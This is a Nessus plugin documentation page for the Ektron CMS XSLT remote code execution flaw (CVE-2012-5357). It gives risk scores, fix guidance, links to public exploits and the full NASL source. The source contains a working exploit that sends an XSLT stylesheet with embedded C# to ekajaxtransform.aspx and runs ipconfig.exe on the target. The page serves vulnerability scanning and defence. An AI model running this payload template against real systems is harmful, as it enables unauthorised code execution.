Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution - Nessus

Critical Plugin ID: 63245

This page contains detailed information about the Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 63245
Name: Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution
Filename: ektron_cms400_transformxslt_code_exec.nasl
Vulnerability Published: 2012-10-25
This Plugin Published: 2012-12-12
Last Modification Time: 2022-04-11
Plugin Version: 1.13
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: ektron_cms400_detect.nasl
Required KB Items [?]: www/ASP, www/cms400
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: Critical
Vulnerability Published: 2012-10-25
Patch Published: 2012-10-26
CVE [?]: CVE-2012-5357
CPE [?]: cpe:/a:ektron:cms4000.net

Synopsis

The remote web server hosts a web application that is affected by a remote code execution vulnerability.

Description

The version of Ektron CMS hosted on the remote web server is affected by a remote code execution vulnerability. The vulnerability arises because the 'ekajaxtransform.aspx' script utilizes the .NET 'XslCompiledTransform' class with 'enablescript' set to true.

Nessus was able to execute this vulnerability via a specially crafted POST request to run arbitrary C# code on the remote host.

Note that the version of Ektron installed on the remote host likely has other vulnerabilities that Nessus has not tested for.

Solution

Upgrade to Ektron CMS version 8.02 Service Pack 5 or higher.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution vulnerability:

Metasploit: exploit/windows/http/ektron_xslt_exec
[Ektron 8.02 XSLT Transform Remote Code Execution]
Exploit-DB: exploits/windows/remote/23155.rb
[EDB-23155: Ektron 8.02 - XSLT Transform Remote Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2012-5357
CVSS V2 Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C

CVSS Base Score:	9.8 (Critical)
Impact Subscore:	5.9
Exploitability Subscore:	3.9
CVSS Temporal Score:	9.1 (Critical)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	9.1 (Critical)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63245);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-5357");
  script_bugtraq_id(56816);
  script_xref(name:"MSVR", value:"MSVR12-016");

  script_name(english:"Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a web application that is affected by a
remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of Ektron CMS hosted on the remote web server is affected
by a remote code execution vulnerability.  The vulnerability arises
because the 'ekajaxtransform.aspx' script utilizes the .NET
'XslCompiledTransform' class with 'enablescript' set to true. 

Nessus was able to execute this vulnerability via a specially crafted
POST request to run arbitrary C# code on the remote host.

Note that the version of Ektron installed on the remote host likely
has other vulnerabilities that Nessus has not tested for.");
  # https://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0cbc8f4d");
  # https://docs.microsoft.com/en-us/security-updates/VulnerabilityResearchAdvisories/2012/msvr12-016
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?14d036a5");
  # https://webhelp.episerver.com/Ektron/documentation/documentation/wwwroot/current/ReleaseNotes/ReleaseNotes_WebHelp.htm#Release8/8.02SP5.htm
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?97c6891b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Ektron CMS version 8.02 Service Pack 5 or higher.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-5357");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Ektron 8.02 XSLT Transform Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/10/25");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/10/26");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/12");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:ektron:cms4000.net");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ektron_cms400_detect.nasl");
  script_require_keys("www/cms400", "www/ASP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

function encapsulate_xslt_payload(code_payload)
{
  return
  '<?xml version=\'1.0\'?>\n' +
  '<xsl:stylesheet version="1.0"\n' +
  'xmlns:xsl="http://www.w3.org/1999/XSL/Transform"\n' +
  'xmlns:msxsl="urn:schemas-microsoft-com:xslt"\n' +
  'xmlns:user="http://example.com/mynamespace">\n' +
  '<msxsl:script language="C#" implements-prefix="user">\n' +
  '<![CDATA[\n' +
  'public string xml()\n' +
  '{\n' +
  code_payload +
  '}\n' +
  ']]>\n' +
  '</msxsl:script>\n' +
  '<xsl:template match="/">\n' +
  '<xsl:value-of select="user:xml()"/>\n' +
  '</xsl:template>\n' +
  '</xsl:stylesheet>';
}

port = get_http_port(default:80, asp:TRUE);

install = get_install_from_kb(appname:'cms400', port:port, exit_on_fail:TRUE);
dir = install['dir'];

appname = "Ektron CMS400.NET";
report = '';

test_return_code = SCRIPT_NAME + rand();

# First test payload - more interesting but may not work in every environment
code_payload1 = 
'System.Diagnostics.Process p = new System.Diagnostics.Process();\n' + 
'p.StartInfo.UseShellExecute = false;\n' +
'p.StartInfo.RedirectStandardOutput = true;\n' +
'p.StartInfo.FileName = "ipconfig.exe";\n' +
'p.Start();\n' +
'p.WaitForExit();\n' +
'string output = p.StandardOutput.ReadToEnd();\n' +
'return output;';

# Second test payload - should work even in a restrictive environment
code_payload2 =
'return "' + test_return_code + '";\n';

postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload1));

res = http_send_recv3(method: "POST", 
                      item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx", 
                      port: port,
                      add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
                                              "Referer", build_url(qs:'', port:port)), # Required
                      data: postdata, 
                      exit_on_fail: TRUE);

if ("Windows IP Configuration" >< res[2])
{
  vuln_request = http_last_sent_request();
  vuln_response = chomp(res[2]); 

  report = '\nNessus was able to exploit the vulnerability to run the \'ipconfig\'' +
           '\ncommand with the following request : ';

  report += '\n\n' + 
            crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
            vuln_request + '\n' +
            crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';

  if (report_verbosity > 1)
    report += '\nResponse : ' + '\n\n' + 
              crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
              vuln_response + '\n' +
              crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';
}
else
{
  # try backup payload 
  postdata = "xml=AAA&xslt=" + urlencode(str:encapsulate_xslt_payload(code_payload: code_payload2));
  res = http_send_recv3(method: "POST", 
                        item: dir + "/WorkArea/ContentDesigner/ekajaxtransform.aspx", 
                        port: port,
                        add_headers: make_array("Content-Type", "application/x-www-form-urlencoded;",
                                                "Referer", build_url(qs:'', port:port)), # Required
                        data: postdata, 
                        exit_on_fail: TRUE);

  if("200" >< res[0] && test_return_code == chomp(res[2])) 
  {
    vuln_request = http_last_sent_request();
    vuln_response = chomp(res[2]);
  
    report = '\nNessus was able to verify the vulnerability exists with the following' +
             '\nrequest : ';

    report += '\n\n' + 
              crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
              vuln_request + '\n' +
              crap(data:"-" , length:30) +  " snip " + crap(data:"-", length:30) + '\n';
  }
}

if (report != '')
{
  if (report_verbosity > 0) security_hole(port:port,extra:report);
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:dir));

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/ektron_cms400_transformxslt_code_exec.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\ektron_cms400_transformxslt_code_exec.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/ektron_cms400_transformxslt_code_exec.nasl

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How to Run

Here is how to run the Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution plugin ID 63245.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ektron_cms400_transformxslt_code_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

56816

MSVR | Microsoft Vulnerability Research Advisory:

MSVR12-016

See also:

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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ektron_cms400_transformxslt_code_exec.nasl version 1.13. For more plugins, visit the Nessus Plugin Library.

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Ektron CMS XslCompiledTransform Class Request Parsing Remote Code Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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